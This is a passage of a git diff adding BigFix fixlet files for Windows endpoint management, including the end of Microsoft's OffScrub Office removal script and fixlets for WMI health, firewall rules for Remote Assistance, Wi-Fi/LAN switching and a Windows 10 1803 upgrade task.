+                If InStr(arrArguments(iCnt + 1), "1") > 0 Then fBypass_Stage1 = True
+                If InStr(arrArguments(iCnt + 1), "2") > 0 Then fBypass_Stage2 = True
+                If InStr(arrArguments(iCnt + 1), "3") > 0 Then fBypass_Stage3 = True
+                If InStr(arrArguments(iCnt + 1), "4") > 0 Then fBypass_Stage4 = True
+            End If
+
+        Case "/D", "/DELETEUSERSETTINGS"
+            fKeepUser = False
+
+        Case "/FR", "/FASTREMOVE"
+            fBypass_Stage1 = True
+            fSkipSD = True
+
+        Case "/F", "/FORCE"
+            fForce = True
+
+        Case "/K", "/KEEPUSERSETTINGS"
+            fKeepUser = True
+
+        Case "/KEEPSG", "/KEEPSOFTGRID"
+            fKeepSG = True
+
+        Case "/KEEPLYNC"
+            fRemoveLync = False
+
+        Case "/REMOVELYNC"
+            fRemoveLync = True
+
+        Case "/L", "/LOG"
+            fLogInitialized = False
+            If UBound(arrArguments) > iCnt Then
+                If oFso.FolderExists(arrArguments(iCnt + 1)) Then
+                    sLogDir = arrArguments(iCnt + 1)
+                Else
+                    On Error Resume Next
+                    oFso.CreateFolder(arrArguments(iCnt + 1))
+                    If Err <> 0 Then sLogDir = sScrubDir Else sLogDir = arrArguments(iCnt + 1)
+                End If
+            End If
+
+        Case "/NOCANCEL"
+            fNoCancel = True
+
+        Case "/NOREBOOT"
+            fNoReboot = True
+
+        Case "/NE", "/NOELEVATE"
+            fNoElevate = True
+
+        Case "/O", "/OSE"
+            fRemoveOse = True
+
+        Case "/P", "/PREVIEW", "/DETECTONLY"
+            fDetectOnly = True
+
+        Case "/PASSIVE", "/QB-"
+            fPassive = True
+
+        Case "/Q", "/QUIET"
+            fQuiet = True
+
+        Case "/QB"
+            fQuiet = True
+            fBasic = True
+
+        Case "/QND"
+            fBypass_Stage1 = True
+            fBypass_Stage2 = True
+            fBypass_Stage3 = True
+            fRemoveOse = True
+            fRemoveOspp = True
+            fRemoveAll = True
+            fSkipSD = True
+            fForce = True
+
+        Case "/R", "/RECONCILE"
+            fTryReconcile = True
+
+        Case "/REMOVEOSPP" , "/CLEANOSPP"
+            fRemoveOspp = True
+
+        Case "/S", "/SKIPSD", "/SKIPSHORTCUTDETECTION"
+            fSkipSD = True
+
+        Case "/SC", "/SCANCOMPONENTS"
+            fBypass_Stage1 = False
+
+        Case Else
+
+        End Select
+    Next 'iCnt
+    If Not fLogInitialized Then CreateLog
+    LogOnly "Arguments: " & sArguments & vbCrLf
+
+End Sub 'ParseCmdLine
+'=======================================================================================================
+
+Sub CreateLog
+    Dim DateTime
+    Dim sLogName
+
+    On Error Resume Next
+    'Create the log file
+    Set DateTime = CreateObject("WbemScripting.SWbemDateTime")
+    DateTime.SetVarDate Now,True
+    sLogName = sLogDir & "\" & oWShell.ExpandEnvironmentStrings("%COMPUTERNAME%")
+    sLogName = sLogName &  "_" & Left(DateTime.Value,14)
+    sLogName = sLogName & "_ScrubLog.txt"
+    Err.Clear
+    Set LogStream = oFso.CreateTextFile(sLogName,True,True)
+    If Err <> 0 Then
+        Err.Clear
+        sLogDir = sScrubDir
+        sLogName = sLogDir & "\" & oWShell.ExpandEnvironmentStrings("%COMPUTERNAME%")
+        sLogName = sLogName &  "_" & Left(DateTime.Value,14)
+        sLogName = sLogName & "_ScrubLog.txt"
+        Set LogStream = oFso.CreateTextFile(sLogName,True,True)
+    End If
+
+    Log "Microsoft Customer Support Services - " & ONAME & " Removal Utility" & vbCrLf & vbCrLf & _
+                "OffScrub Version: " & SCRIPTVERSION & vbCrLf & _
+                "64 bit OS: " & f64
+    LogOnly     "OS Details: " & sOSinfo & vbCrLf
+    Log         "Start removal: " & Now & vbCrLf
+    fLogInitialized = True
+End Sub 'CreateLog
+'=======================================================================================================
+'-------------------------------------------------------------------------------
+'   RelaunchAs64Host
+'
+'   Relaunch self with 64 bit WScript host
+'-------------------------------------------------------------------------------
+Sub RelaunchAs64Host
+    Dim Argument, sCmd
+
+    sCmd = Replace (LCase(wscript.Path), "syswow64", "sysnative") & "\cscript.exe " & Chr(34) & WScript.scriptFullName & Chr(34)
+    If fQuiet AND NOT fCScript Then sCmd = Replace (sCmd, "\cscript.exe", "\wscript.exe")
+    If Wscript.Arguments.Count > 0 Then
+        For Each Argument in Wscript.Arguments
+            sCmd = sCmd & " " & chr(34) & Argument & chr(34)
+        Next 'Argument
+    Else
+    	If Not sDefault = "" Then sCmd = sCmd & " " & chr(34) & sDefault & chr(34)
+    End If
+    sCmd = sCmd & " /ChangedHostBitness"
+    Wscript.Quit oWShell.Run(sCmd, 1, True)
+
+End Sub 'RelaunchAs64Host
+'=======================================================================================================
+
+Sub RelaunchAsCScript
+    Dim Argument
+    Dim sCmdLine
+
+    sCmdLine = "cmd.exe /c " & WScript.Path & "\cscript.exe //NOLOGO " & Chr(34) & WScript.scriptFullName & Chr(34)
+    If Wscript.Arguments.Count > 0 Then
+        For Each Argument in Wscript.Arguments
+            sCmdLine = sCmdLine  &  " " & chr(34) & Argument & chr(34)
+        Next 'Argument
+    End If
+    Log "Relaunching with CScript as host. Full command: " & sCmdLine
+    Wscript.Quit oWShell.Run(sCmdLine, 1, True)
+End Sub 'RelaunchAsCScript
+'=======================================================================================================
+
+Sub RelaunchElevated
+    Dim Argument
+    Dim sCmdLine
+    Dim oShell
+
+    Set oShell = CreateObject("Shell.Application")
+
+    sCmdLine = Chr(34) & WScript.scriptFullName & Chr(34)
+    If Wscript.Arguments.Count > 0 Then
+        For Each Argument in Wscript.Arguments
+            Select Case UCase(Argument)
+            Case "/Q","/QUIET"
+                'Don't try to relaunch in quiet mode
+                Exit Sub
+            Case "UAC"
+                'Already tried elevated relaunch
+                Exit Sub
+            Case Else
+                sCmdLine = sCmdLine  &  " " & chr(34) & Argument & chr(34)
+            End Select
+        Next 'Argument
+    Else
+    	If Not sDefault = "" Then sCmdLine = sCmdLine & " " & chr(34) & sDefault & chr(34)
+    End If
+    oShell.ShellExecute "cscript.exe", sCmdLine & " /NoElevate UAC", "", "runas", 1
+    Wscript.Quit 5
+End Sub 'RelaunchElevated
+'=======================================================================================================
+
+'Show the expected syntax for the script usage
+Sub ShowSyntax
+    TmpKeyCleanUp
+    Wscript.Echo sErr & vbCrLf & _
+             SCRIPTFILE & " V " & SCRIPTVERSION & vbCrLf & _
+             "Copyright (c) Microsoft Corporation. All Rights Reserved" & vbCrLf & vbCrLf & _
+             SCRIPTFILE & " helps to remove " & ONAME & " Server & Client products" & vbCrLf & _
+             "when a regular uninstall is no longer possible" & vbCrLf & vbCrLf & _
+             "Usage:" & vbTab & SCRIPTFILE & " [List of config ProductIDs] [Options]" & vbCrLf & vbCrLf & _
+             vbTab & "/?                          ' Displays this help"& vbCrLf &_
+             vbTab & "/Log [LogfolderPath]        ' Custom folder for log files" & vbCrLf & _
+             vbTab & "/SkipSD                     ' Skips the ShortcutDetection in local profiles" & vbCrLf & _
+             vbTab & "/NoCancel                   ' Setup.exe and Msiexec.exe have no Cancel button" & vbCrLf &_
+             vbTab & "/Quiet                      ' Script, Setup.exe and Msiexec.exe run quiet with no UI" & vbCrLf &_
+             vbTab & "/Preview                    ' Run this script to preview what would get removed"& vbCrLf & vbCrLf & _
+             "Examples:"& vbCrLf & _
+             vbTab & SCRIPTFILE & " CLIENTSUITES    ' Remove all " & ONAME & " Client suites/products" & vbCrLf &_
+             vbTab & SCRIPTFILE & " CLIENTALL       ' Remove all " & ONAME & " Client products" & vbCrLf &_
+             vbTab & SCRIPTFILE & " SERVER          ' Remove all " & ONAME & " Server products" & vbCrLf &_
+             vbTab & SCRIPTFILE & " ALL             ' Remove all " & ONAME & " Server & Client products" & vbCrLf &_
+             vbTab & SCRIPTFILE & " ProPlus,PrjPro  ' Remove ProPlus and Project" & vbCrLf
+    Wscript.Quit
+End Sub 'ShowSyntax
+'=======================================================================================================
+_end_
+
+move __createfile "OffScrub_O15msi.vbs"
+
+waithidden cscript "OffScrub_O15msi.vbs"]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Update installation may cause WU reboot prompt (20539).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Update installation may cause WU reboot prompt (20539).bes
new file mode 100644
index 000000000..381dda3ef
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Update installation may cause WU reboot prompt (20539).bes	
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Update installation may cause WU reboot prompt
+  ID       : 20539
+  Author   : strawgate
+  Domain   : BES
+  Imported : 2016-05-10T07:14:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Update installation may cause WU reboot prompt</Title>
+    <Description><![CDATA[<P>This fixlet is relevant on computers where Windows Updates is configured to prompt after update installation if the update itself requires a reboot.</P>
+<P>This should likely be disabled if using BigFix to perform update installation.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(value &quot;NoAutoRebootWithLoggedOnUsers&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU&quot; of native registry as string | &quot;-1&quot;) != &quot;1&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - WMI Repository backups exist in System Directory - Windows (21639).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - WMI Repository backups exist in System Directory - Windows (21639).bes
new file mode 100644
index 000000000..2a98cacd0
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - WMI Repository backups exist in System Directory - Windows (21639).bes	
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - WMI Repository backups exist in System Directory - Windows
+  ID       : 21639
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T21:23:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - WMI Repository backups exist in System Directory - Windows</Title>
+    <Description><![CDATA[<P>When WMI corruption occurs Windows makes a back-up of the WMI repository and stores it on Disk. This Fixlet deletes the oldest available WMI Repository if multiple exist.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists folder whose (name of it starts with &quot;repository.&quot;) of (folder &quot;wbem&quot; of (if (x64 of operating system) then (system x64 folder) else (system x32 folder)))</Relevance>
+    <Category>Disk Cleanup</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-18</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection false
+dos rmdir /s /q  &quot;{folder whose (name of it contains &quot;repository.&quot; AND creation time of it = minimum of creation times of folders whose(name of it contains &quot;repository.&quot;) of (folder &quot;wbem&quot; of (if (x64 of operating system) then (system x64 folder) else (system x32 folder)))) of (folder &quot;wbem&quot; of (if (x64 of operating system) then (system x64 folder) else (system x32 folder)))}&quot;</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - WMI Repository is very large - Windows (22650).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - WMI Repository is very large - Windows (22650).bes
new file mode 100644
index 000000000..d10b82b21
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - WMI Repository is very large - Windows (22650).bes	
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - WMI Repository is very large - Windows
+  ID       : 22650
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-22T09:18:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - WMI Repository is very large - Windows</Title>
+    <Description><![CDATA[<P>This fixlet is relevant on machines with large WMI repositories (&gt; 1 GB).</P>
+<P>A large WMI repository can cause lots of seemingly random issues on an endpoint from slow boot time to slow login.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(size of file "objects.data" of (if (x64 of operating system) then (x64 folder (pathname of windows folder & "\system32\wbem\repository")) else (folder (pathname of windows folder & "\system32\wbem\repository")))) > 1 /*byte*/ * 1024 /*KB*/ * 1024 /*MB*/ * 1024 /*GB*/]]></Relevance>
+    <Category>Windows Management Interface</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-24</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - WMI is not responding to queries - Windows (22651).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - WMI is not responding to queries - Windows (22651).bes
new file mode 100644
index 000000000..217b25405
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - WMI is not responding to queries - Windows (22651).bes	
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - WMI is not responding to queries - Windows
+  ID       : 22651
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-22T09:18:21
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - WMI is not responding to queries - Windows</Title>
+    <Description><![CDATA[<P>This fixlet is relevant on machines where WMI is failing.</P>
+<P>Failing WMI causes a number of issues from slow login, failing group policy, etc.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists string values of selects &quot;Domain from Win32_ComputerSystem&quot; of wmi | true</Relevance>
+    <Category>Windows Management Interface</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-24</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Windows 10 Security Center may present notification during AV installation (20586).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Windows 10 Security Center may present notification during AV installation (20586).bes
new file mode 100644
index 000000000..a0b0cf3e9
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Windows 10 Security Center may present notification during AV installation (20586).bes	
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Windows 10 Security Center may present notification during AV installation
+  ID       : 20586
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-10T07:27:08
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Windows 10 Security Center may present notification during AV installation</Title>
+    <Description><![CDATA[<P>The Windows Security Center is enabled.</P>
+<P>On initial&nbsp;installation of an Anti-virus product the security center may prompt the user indicating a lack of up-to-date definitions.</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance><![CDATA[windows of operating system and version of operating system > "10.0.0" and name of operating system does not contain "Win2"]]></Relevance>
+    <Category>Anti-Virus</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-16</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Windows Firewall may be blocking Remote Assistance (23561).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Windows Firewall may be blocking Remote Assistance (23561).bes
new file mode 100644
index 000000000..122190280
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Windows Firewall may be blocking Remote Assistance (23561).bes	
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Windows Firewall may be blocking Remote Assistance
+  ID       : 23561
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T14:02:38
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Windows Firewall may be blocking Remote Assistance</Title>
+    <Description><![CDATA[<P><ENTER here action corrective the and problem of description a>If this fixlet is relevant than not all of the firewall rules required for Remote Assistance to be working may not be enabled.</P>
+<P><FONT color=#ff0000><STRONG>NOTE</STRONG></FONT>: This fixlet may appear relevant even if you have the right rules in place. This can commonly happen if you have created custom rules (not using the ones Group Policy generates) or if you are using a third-party Firewall. In this case you can ignore this fixlet once you've confirmed Remote Assistance is working in your environment.</P>
+<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
+    <Relevance><![CDATA[windows of operating system and version of operating system >= "6.1"]]></Relevance>
+    <Relevance>not (exists (names of (rules of firewall) whose (enabled of it = true and application name of it is &quot;C:\Windows\system32\msra.exe&quot;)) and exists (names of (rules of firewall) whose (enabled of it = true and application name of it is &quot;C:\Windows\system32\raserver.exe&quot;)) and exists (names of (rules of firewall) whose (enabled of it = true and application name of it is &quot;C:\Windows\system32\svchost.exe&quot;)))</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-14</SourceReleaseDate>
+    <SourceSeverity>Critical</SourceSeverity>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to add the rules to the Windows Firewall.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait netsh advfirewall firewall set rule group=&quot;remote assistance&quot; new enable=Yes</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Wifi + LAN Detect and Disable (24607).bes b/Sites/Windows Management/Fixlets/Fixlets/Wifi + LAN Detect and Disable (24607).bes
new file mode 100644
index 000000000..979933a33
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Wifi + LAN Detect and Disable (24607).bes	
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Wifi + LAN Detect and Disable
+  ID       : 24607
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-08-08T13:13:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Wifi + LAN Detect and Disable</Title>
+    <Description>Detects if there is both an active LAN network connection and an active WIFI network connection. If there are both, the action will disable the WIFI adapter.</Description>
+    <Relevance>(Exists (select &quot;netconnectionid from win32_NetworkAdapter where NetEnabled = &apos;TRUE&apos; and ServiceName = &apos;NETwNb64&apos;&quot; whose (string value of it != &quot;&quot;) of WMI)) AND (exists adapter whose (friendly name of it != &quot;&quot; AND enabled of wifi of it and exists gateway of it and address of it as string != &quot;0.0.0.0&quot;) of network) AND (exists adapter whose (not exists wifi of it and gateway of it as string!= &quot;0.0.0.0&quot; and address of it as string!= &quot;0.0.0.0&quot;) of network)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-08-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 08 Aug 2017 20:09:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//Alpha code - does not accomodate multiple wifi adapters
+wait netsh interface set interface &quot;{string value of select &quot;netconnectionid from win32_NetworkAdapter where NetEnabled = &apos;TRUE&apos; and ServiceName = &apos;NETwNb64&apos;&quot; of WMI}&quot; admin=disable
+wait ipconfig /release
+wait ipconfig /renew</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Wifi + LAN Detect and enable (24608).bes b/Sites/Windows Management/Fixlets/Fixlets/Wifi + LAN Detect and enable (24608).bes
new file mode 100644
index 000000000..64565a4d2
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Wifi + LAN Detect and enable (24608).bes	
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Wifi + LAN Detect and enable
+  ID       : 24608
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-08-08T13:13:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Wifi + LAN Detect and enable</Title>
+    <Description><![CDATA[Detects if there is no longer an active LAN network connection and a&nbsp;disabled WIFI network connection. If the LAN connection is gone,&nbsp;the action will enable the WIFI adapter. ]]></Description>
+    <Relevance>(exists  select &quot;netconnectionid from win32_NetworkAdapter where NetEnabled = &apos;FALSE&apos; and PhysicalAdapter=&apos;TRUE&apos; and ServiceName = &apos;NETwNb64&apos;&quot; whose (string value of it != &quot;&quot;) of WMI) AND (NOT exists adapter whose (not exists wifi of it and gateway of it as string!= &quot;0.0.0.0&quot; and address of it as string!= &quot;0.0.0.0&quot;) of network)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-08-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 08 Aug 2017 20:10:19 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//Alpha code - does not accomodate multiple wifi adapters
+wait netsh interface set interface &quot;{string value of select &quot;netconnectionid from win32_NetworkAdapter where NetEnabled = &apos;FALSE&apos; and PhysicalAdapter=&apos;TRUE&apos; and  ServiceName = &apos;NETwNb64&apos;&quot; of WMI}&quot; admin=enable
+wait ipconfig /release
+wait ipconfig /renew</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE1__Stage Installation Files (25518).bes b/Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE1__Stage Installation Files (25518).bes
new file mode 100644
index 000000000..1b2c77205
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE1__Stage Installation Files (25518).bes	
@@ -0,0 +1,92 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : ~Win10-1803::STAGE1::Stage Installation Files
+  ID       : 25518
+  Author   : Ken
+  Domain   : BESC
+  Imported : 2018-06-06T11:39:57
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>~Win10-1803::STAGE1::Stage Installation Files</Title>
+    <Description><![CDATA[<DIV class=FixletMessage>
+<P class=FixletMessage>Win10-1803::STAGE1::Stage Installation Files</P>
+<DIV class=FixletMessage>
+<UL>
+<LI>Stage all required installation files to "c:\temp\Win10"&nbsp; (Precache for future deployment)</LI></UL></DIV>
+<P>Win10-1803::STAGE2::INSTALL</P>
+<UL>
+<LI>Perform inplace upgrade to Window 10&nbsp;1803</LI></UL>
+<P>Win10-1803::STAGE3::Cleanup</P>
+<UL>
+<LI>Removes the Stage Installation Files</LI></UL></DIV>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>x64 of operating system AND not ia64 of operating system</Relevance>
+    <Relevance>(it starts with &quot;Win&quot; AND it does not start with &quot;Win20&quot;) of name of operating system AND (exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
+    <Relevance>exists regapp &quot;powershell.exe&quot;</Relevance>
+    <Relevance>operating system as string does not contain &quot;1803&quot;</Relevance>
+    <Relevance>system ui language as string as lowercase = &quot;English (United States)&quot; as lowercase</Relevance>
+    <Relevance>exists value &quot;EditionID&quot; whose (it as string as lowercase = &quot;EducationN&quot; as lowercase OR it as string as lowercase = &quot;Education&quot; as lowercase OR it as string as lowercase = &quot;ProfessionalN&quot; as lowercase OR it as string as lowercase = &quot;Professional&quot; as lowercase OR it as string as lowercase = &quot;EnterpriseN&quot; as lowercase OR it as string as lowercase = &quot;Enterprise&quot; as lowercase) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
+    <Relevance>if exists key &quot;HKLM\SOFTWARE\Atria\ClearCase\CurrentVersion&quot; of registry and exists value &quot;ClearCaseMajorVersion&quot; of key &quot;HKLM\SOFTWARE\Atria\ClearCase\CurrentVersion&quot; of registry then False else True</Relevance>
+    <Relevance>if exist file &quot;C:\temp\Win10\SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO&quot; then false else true</Relevance>
+    <Category>Upgrade</Category>
+    <Source>Microsoft</Source>
+    <SourceID>Unspecified</SourceID>
+    <SourceReleaseDate>2017-10-17</SourceReleaseDate>
+    <SourceSeverity>Unspecified</SourceSeverity>
+    <CVENames>Unspecified</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Thu, 02 Nov 2017 11:52:26 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product-family</Name>
+      <Value>Windows</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>no-relevance-health-check</Name>
+      <Value>false</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product</Name>
+      <Value>Win10</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-component</Name>
+      <Value>Unspecified</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
